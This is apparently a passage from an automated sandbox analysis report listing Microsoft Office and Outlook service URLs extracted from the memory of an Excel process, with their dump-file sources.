Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656113776.0000000012A2F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: EXCEL.EXE, 00000000.00000003.792419093.0000000012A23000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656113776.0000000012A2F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.886851258.0000000012A13000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829883976.0000000012A13000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.842980218.0000000012A13000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728506712.0000000012A23000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.982109381.0000000012A2F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843787373.0000000012A13000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.975647498.0000000012A2B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712940774.0000000012A23000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.847529633.0000000012A13000.00000004.00000001.sdmp String found in binary or memory: https://pages.store
Source: EXCEL.EXE, 00000000.00000003.656113776.0000000012A2F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712940774.0000000012A23000.00000004.00000001.sdmp String found in binary or memory: https://pages.store.offi
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://pages.store.office.com/review/query
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://pages.store.office.com/review/query7
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://pages.store.office.com/webapplandingpage.aspxWW
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: EXCEL.EXE, 00000000.00000003.830019835.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.887114579.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792860605.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844384510.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.976497308.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.846187037.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.847870583.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.831076747.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728160281.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843428711.000000000F1AC000.00000004.00000001.sdmp String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions-lT
Source: EXCEL.EXE, EXCEL.EXE, 00000000.00000003.656171574.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656420136.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.887182746.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829507142.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.975433720.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843028954.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712989878.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843831700.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844821689.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728814839.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.791886378.0000000012A88000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: EXCEL.EXE, 00000000.00000002.981591144.00000000128C3000.00000004.00000001.sdmp String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json$
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControlA
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://powerlift.acompli.net
Source: EXCEL.EXE, EXCEL.EXE, 00000000.00000003.656171574.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656420136.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.887182746.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829507142.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.975433720.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843028954.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712989878.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843831700.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844821689.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728814839.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.791886378.0000000012A88000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.jsone
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptioneventsY
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://roaming.edog.
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://settings.outlook.com
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656113776.0000000012A2F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728506712.0000000012A23000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712940774.0000000012A23000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://shell.suite.office.com:1443
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://skyapi.live.net/Activity/
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/workO
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/workU
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/workp
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://staging.cortana.ai
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://staging.cortana.ai66
